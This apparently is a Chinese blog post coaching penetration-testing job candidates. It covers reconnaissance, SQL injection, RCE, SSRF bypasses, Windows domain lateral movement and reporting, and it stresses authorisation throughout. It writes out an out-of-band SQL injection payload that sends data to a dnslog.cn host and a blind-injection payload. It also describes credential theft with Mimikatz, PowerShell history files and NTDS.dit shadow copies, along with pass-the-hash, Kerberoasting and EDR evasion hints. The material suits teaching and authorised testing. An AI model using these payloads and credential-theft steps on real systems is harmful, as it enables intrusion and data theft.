多彩编程 多彩编程MZPH · CODE BLOG
ARTICLE DETAIL

文章详情

深耕前端与后端开发技术的一线实战笔记与踩坑复盘。

渗透测试面试进阶:从信息收集到内网横向移动的完整链路解析

渗透测试面试进阶:从信息收集到内网横向移动的完整链路解析 开头做了这么多年渗透测试也面试过不少人最大的感触是大部分候选人对漏洞原理背得滚瓜烂熟但一到面试官追问“你为什么这么测”“这条命令背后的流量特征是什么”“拿到一个授权目标你第一步怎么规划”就明显露怯了。这其实不怪大家网上的渗透测试面试题总结确实不少但很多都停留在“题目一句话答案”的层面看起来背了五六百道题真到现场还是不会组织回答。这个系列我写到了第23期前22期基本把高频考点都过了一遍——信息收集、Web漏洞利用、内网渗透、免杀与防御对抗每期都会结合真实面试场景做还原。这一期我想换个思路不单列题目和答案而是把面试官真正会追问的链路捋出来帮准备面试的朋友理解“这道题背后到底在考什么”也帮正在带新人的团队Leader们当个出题参考。1. 信息收集类题目考官是怎么从“随便聊聊”聊到内网架构的1.1 “拿到一个授权目标你第一步做什么”——这道题没有标准答案这道题基本是渗透测试工程师面试的开场送分题但真答好的人非常少。大多数候选人的回答是“先Nmap扫端口再用目录扫描工具跑路径。”这种回答如果能及格那面试官可能只招初级助理岗如果面的是能独立带项目的岗位基本就凉了。面试官真正想问的是你有没有完整的测试前规划意识。一个合格的回答应该是这个顺序——第一步先读授权书确认测试范围、时间窗口、允许测试的IP段和域名、是否有禁止项比如不允许社工、不允许DoS测试第二步做资产梳理从根域名开始用证书透明度日志、子域名收集工具、DNS历史记录把整个攻击面铺开第三步才是端口扫描和服务识别。之所以把这步放在端口扫描前面是因为很多公司内部资产常常存在“影子资产”——没纳入域名枚举范围的老系统、测试环境、第三方外包开发的站这些才是最容易出漏洞的地方。“先读授权书”这个动作很关键面试官就是从这里判断你有没有合规意识。你可以补充说“我习惯把授权范围截图存档测试过程中每发现一个不在范围内的资产会立刻停手记录到报告中并通知客户确认。”这段话一出来基本就让面试官觉得你有实际项目经验而不是只会跑工具。1.2 指纹识别、目录爆破与证书透明度日志的追问组合信息收集环节最容易被追问的就是子域名枚举的细节。比如面试官会问“你用的是被动收集还是主动收集为什么优先用被动方式”被动收集指通过证书透明度日志、搜索引擎、威胁情报平台等第三方渠道去获取子域名记录不会对目标产生任何流量交互主动收集则是字典爆破DNS记录这个会产生查询流量。优先做被动收集一方面效率高、覆盖广另一方面隐蔽性好——合规起见也讲得通我们本来就在做授权测试但没必要一开始就打草惊蛇。还有一个高频追问是“拿到一个网站后除了版本号你会从哪些细节判断它的中间件和开发框架”这里不用背太多东西面试官想听的其实是特征比对的思路。你可以举几个典型例子HTTP响应头里X-Powered-By会直接暴露框架类型Cookie的命名规则能区分Java系还是PHP系报错页面的格式能看出是Tomcat、Nginx还是IIS静态资源路径后缀如.do、.action基本能锁定Struts2.jsp加JSESSIONID基本是Java应用。页面上某些特定参数名如__VIEWSTATE是ASP.NET的特征csrftoken则常见于Django类应用。如果时间充裕我还会建议候选人主动提一句“我习惯把所有指纹信息汇总成一张资产信息表后续漏洞测试时直接对着表验证不重复做无用功。”这句话很短但能体现你的工作方法比背十条Nmap命令管用得多。1.3 常见的“信息收集过度”扣分回答这个部分我凭记忆总结几个面试中真实遇到过的扣分回答大家对照一下。第一个是“直接上Masscan扫全网段然后Nmap再细化”。这个思路本身没错但候选人往往忽略了出口流量和扫描速度对目标系统的影响。在全速扫描下很容易把客户的IDC出口防火墙或WAF打崩更有甚者把客户生产数据库连接数占满。真正有经验的人会把扫描速度限制在--min-rate和--max-rate之间取一个保守值并且分时间段扫描。第二个是“用工具收集了一堆结果但说不清优先级”。面试官问的是“拿到收集到的100个子域名后你怎么做”很多人的回答是“挨个跑一遍”。实际项目里应该根据业务重要性排队先测允许范围内的核心业务系统、登录入口、API接口再测边缘系统旧版测试站、后台管理页面。原因很简单——漏洞报告里最值钱的就是能拿业务权限的漏洞不是打下一堆没人用的内部系统。第三个是最常见的“信息收集完直接上漏扫。”缺少人工交叉验证的信息收集报告很可能因为漏报而带偏整个渗透测试方向。面试官听到这个回答基本会判定你没有经历过严格的实战项目复盘。2. 漏洞利用高频题SQL注入、RCE与SSRF的考查逻辑2.1 SQL注入从布尔盲注到写文件的边界判断SQL注入在面试题库里永远是常青树但这几年的考察方向明显变了。以前会问“怎么判断闭合符号”现在更爱问**“在什么情况下SQL注入无法用工具直接跑出来”**。这是一个很典型的进阶问题考察你踩坑的深度。我比较推荐从三个角度回答。第一是执行环境受限WAF对关键字做过滤时SQLMap自带的tamper脚本不一定全适配你得手工改写payload第二是目标存在多种数据库类型混合——比如前端接入层用C#连接MSSQL、业务库却是Oracle这时候注入语句的注释符和字符串拼接方式完全不同第三是注入点本身限制比如经典的INSERT型注入、ORDER BY型注入SQLMap默认模式经常会误报反而手工构造更容易成功。面试官还喜欢追问“Boolean-based盲注下如果页面没有呈现任何差异你会怎么办”这题其实考的是时间盲注与带外交互的综合判断。很多人只记得sleep()我会补充当数据库用户权限不允许执行sleep时可以考虑利用BENCHMARK函数MySQL、WAITFOR DELAYSQL Server或者带外通道。带外通道一般是用DNS请求构造LOAD_FILE(CONCAT(\\\\, hex(...), .dnslog.cn\\test))让目标服务器向自己的DNSLog平台发起解析请求。这里要强调一句“带外注入虽然慢但在Web应用完全没有回显的情况下反而最稳。”2.2 一条RCE题目的完整回答模板RCE题目是面试中的重头戏比如“你在测试一个JAVA应用时发现了一个文件上传点但上传目录不允许执行脚本你会怎么利用”这个问题非常实战因为很多开发都学会了限制上传路径为静态目录。一个能拿高分的回答链路是先判断服务器类型Tomcat/Apache/Nginx再判断是否有解析漏洞可以利用——Tomcat的PUT方法直接写JSP、Nginx的/xxx.jpg/.php解析、Apache多后缀解析等。如果上述路都不通就转而尝试文件包含配合日志写马、或者找到已存在的文件上传点将恶意脚本存到可执行目录。最后如果确实不能执行脚本可以结合ftp/smb协议把恶意文件下载到可解析目录或者用URLConnection读文件做SSRF。面试官问这道题本质上是想看你是“一条路走到黑”还是有“路径判断—条件枚举—链路组合”的思维方式。你也可以在回答里说“我会先理清目标是Windows还是Linux、用了哪个中间件不同环境对应的利用方式差异非常大。”这句话看似废话但在面试中是加分项说明你有调试现场的思维习惯。2.3 SSRF的利用面与过滤绕过思路SSRF这题这几年出现频率越来越高因为微服务架构里SSRF很容易演变成内网横向的突破口。面试官喜欢问“如果目标限制了只能请求内网IP你怎么绕过”主要答以下几点就够用先试IPv6地址绕过因为很多访问控制只过滤IPv4再试短域名解析、DNSRebinding绑定一个域名先解析到公网再二次解析到内网IP还有URL解析差异绕过利用符号、#锚点、大小写混淆、十六进制编码等方式让后端的URL解析器跟访问控制层看到不同的地址。这里面试官会追问“你怎么抓确认是否绕过成功”你可以答“观察响应时间和响应体如果内网主机的服务类型有特征报错、到了HTTP服务则可能出现默认页另外可以用一个自己可控的公网URL做对比看响应差异”。SSRF题答得好能侧面证明你读过不少实际利用案例而不是只背过定义。3. 内网渗透与横向移动面试官真正想听的答题顺序3.1 内网信息收集先收什么、后收什么内网渗透这几年几乎成了面试的必考点而且已经从“会不会用Mimikatz”进化到了“能不能讲清楚一条完整的内网攻击链”。面试官问内网信息收集中比较典型的题目是“拿下一台Windows主机后你会先执行哪些命令”一个推荐顺序如下先用ipconfig /all看网卡、DNS、网关判断当前主机所处的网段和是否有多个网卡再用whoami /priv查看当前用户权限和特权接着net user查看本地用户、net group Domain Admins查看域管理员组、net localgroup administrators查看本机管理员组之后查arp -a看同网段活跃主机最后才考虑抓密码、看浏览器保存密码、读配置文件等操作。这个顺序的逻辑是先搞清楚自己是谁、在哪个位置、能碰到什么再考虑怎么横向。这里有个容易被忽略的加分点候选人应主动提到PowerShell日志和命令历史。比如在回答时补上一句“我会先检查当前用户的历史命令记录如Get-History、PowerShell转录日志、$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt里面往往直接躺着运维管理员敲过的密码和路径。”这句话面试官一听就会知道你真实打过靶场或项目不是只看过教程。3.2 横向移动常用手法与杀软规避的边界内网横向的高频题是“拿到域内一台普通用户机器如何移动到域控”这里的答题思路不要只背工具要讲清楚“利用什么条件”。常见路径大概有检查当前用户是否在本地管理员组、是否可以直接通过SMB协议访问域控的C$共享如果不能则尝试窃取本地缓存的凭据Mimikatzsekurlsa::logonpasswords、抓取浏览器保存的密码、利用已登录用户的令牌做令牌模拟再往上就是DCSync攻击——如果你拿到了域管权限或域控所在机器的SYSTEM权限可以直接利用MS-DRSR协议同步域内哈希。面试官此时常追问一个问题“如果目标环境装了EDR你的Mimikatz可能直接被拉黑你有什么替代思路”这个回答的边界要拿捏好不要讲细到免杀对抗的灰色内容而是谈合规思路“在授权测试里我会先跟客户确认EDR的策略并申请白名单备选方案是用合法工具如Rubeus配合sekurlsa内存读取的替代版本或者干脆通过临时修改工具签名、混淆执行方式绕过静态检测——但前提是客户已经书面授权。”这个回答体现了合规意识又展示了你对工具生态的了解分数就稳了。3.3 域渗透的几个高频追问问怎么看当前用户是不是本地管理员答net localgroup administrators结合whoami /groups里是否有Mandatory Label\High Mandatory Level或者用PowerShell执行([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)。问域管密码缓存抓不到怎么办答看NTDS.dit的备份文件、卷影副本vssadmin create shadow、域控上的ntdsutil、SYSVOL脚本目录里的明文密码、服务账号的spn配合Kerberoasting攻击。问拿到一个域用户哈希后怎么扩大战果答用哈希传递PTH尝试对同网段其他主机进行SMB登录先横向再纵向横向成功后收集当前桌面文件、浏览器缓存、SSH密钥再朝域控方向打。4. 工具与流量分析Kali下的武器选择体现了你的工程思维4.1 Nmap参数组合、masscan与扫描噪音控制这题看似基础可面试官真较真起来能问到你怀疑人生。最常见的是“你扫一个C段怎么保证在最短时间内把端口扫全又不被目标网络的管理员发现”合理的回答是先用masscan做全端口快速探测比如masscan -p1-65535 --rate1000只输出端口列表再用Nmap对开放端口做服务识别参数组合类似nmap -sV -sC -Pn -p 22,80,443,8080 --open-sC跑默认脚本有助于快速发现应用指纹。关于噪音控制我会补充“把--host-timeout设为10秒把--max-retries设为默认的2~3次能显著降低超时重试带来的重复流量另外把-T3作为默认速度档位除非客户明确同意可以提速。”这里有个面试官常挖的细节“Nmap的-sV和-A有什么区别你什么时候不用-A”答案是-A包含了-sV、-sC、-O和路由追踪输出信息全但扫描时间长且会产生大量探测流量在授权测试中如果目标是核心业务系统我通常只做-sV加部分-sC避免把系统打挂。4.2 流量分析题从pcap里还原攻击链有些面试官会直接给你一个流量包让你分析攻击链。这类题的回答框架比较固定先做总体统计——看协议分布、TCP连接数、DNS查询量、HTTP请求数然后定位异常点——大流量TCP连接、大规模DNS TXT记录、非标准端口的HTTPS流量、HTTP响应码里的4xx/5xx聚集最后还原攻击链。举个例子流量包里如果看到一个IP在短时间内向几十个端口发起TCP SYN包基本可以判断是端口扫描再看到HTTP日志里反复出现union select或sleep的请求就可以判定是SQL注入扫描如果再配合后续的POST到/upload接口的请求就能拼出一条完整的攻击路径。这类题面试官考察的其实是你在实战中看流量的习惯而不是单纯背Wireshark过滤语法。我个人会建议候选人准备一个自己跑过的流量分析案例哪怕只是靶场环境也要能清楚地复述“从哪条流开始发现问题、如何一步步定位到攻击payload、最终如何溯源”。4.3 手写脚本与工具改造的加分项工具题里最容易拉开差距的是“你除了用工具有没有写过辅助脚本”。面试官一般会问“当SQLMap跑不出结果你有自己写过注入脚本吗具体怎么写”一个能自圆其说的回答可以是写一个Python脚本用requests库模拟浏览器请求在参数中注入 and (select ascii(substr((select user()),1,1)))64通过布尔条件判断响应长度或关键词差异循环substr和ascii逐位猜解。这里要特别注意编码问题——很多目标直接把号过滤掉脚本里要对payload做URLEncode。同样在目录扫描时也可以用aiohttp写一个简单异步扫描器控制并发数防止触发WAF。写脚本的好处不只是“快”更重要的是你能完全控制payload的每一个字节这对绕过过滤和特殊场景定制非常重要。5. 报告与合规渗透测试工程师的最后一公里5.1 一份好报告应该包含哪些结构很多候选人在面试中讲到报告就支支吾吾这是很可惜的。报告能力恰恰是渗透测试工程师从执行者升级为顾问的分水岭尤其在一线厂商项目验收时至关重要。面试官如果问“拿到测试结果后你的报告怎么组织”你可以按照这个结构答漏洞通知摘要、测试范围与方法、风险评级总览、漏洞详情、复现步骤、修复建议、复测说明。风险评级总览要用表格呈现比如按CVSS评分的High/Medium/Low分级列出漏洞数、涉及系统和影响漏洞详情里每个漏洞要写清楚危害、触发条件、复现步骤和修复建议。这里有个容易忽略的点复现步骤必须写到别人照着做就能复现的程度比如包含完整请求包、URL、参数、使用的工具命令和输出片段。不是把你的操作日志直接贴上去而是整理成可执行的步骤说明。5.2 授权边界、数据脱敏与漏洞复测流程报告之外面试官还爱问合规细节以此判断你有没有踩过项目红线。常见问题包括“测试过程中发现了一个严重漏洞可能影响客户生产数据你会怎么办”比较稳的回答分三步第一立刻停止对该漏洞点的进一步测试防止数据破坏第二通过项目群或邮件报告给客户接口人说明漏洞现象、影响范围并提出下一步建议第三在客户确认并授权后用非破坏性方式做验证比如读取一条不敏感的表数据或者构造一个不会写入的查询把验证结果补充到正式报告里。关于数据脱敏任何测试数据、截图、日志都要做二次处理——把真实手机号、身份证号、Token、Cookie里的敏感值替换成*号避免报告外泄造成二次风险。新人在这一块经常被客户投诉所以面试时主动提到这个细节是很加分的。最后是复测流程。面试官问“修复后你怎么复测”很多人答“再扫一遍”。这不够。面试官想看的是你懂不懂“验证修复不等于回归测试”。我会回答先看漏洞类型——如果是代码层的注入问题就直接重放原payload确认拦截或无法执行如果是配置问题如错误页泄露版本号就重新请求相关URL判断响应头或页面内容是否变化如果是逻辑漏洞要结合业务流程走一遍完整链路确认修复没有影响到正常功能。这个回答能让面试官看到你良好的交付闭环习惯。——说到最后这个系列写到现在我最想强调的还是那句话面试里没有所谓的“背题就能过”技术题考察的是你解决问题的基本盘追问和场景还原题考察的是你有没有真实的执行经验。如果你正准备面试不妨把本文提到的每个追问都自己跑一遍靶场验证一下比如拿一台Kali Linux搭个本地环境实际演示一遍Nmap参数组合和流量包的抓取分析再模拟写一份“漏洞报告”。这套动作做完你再去面试底气会完全不同。
返回列表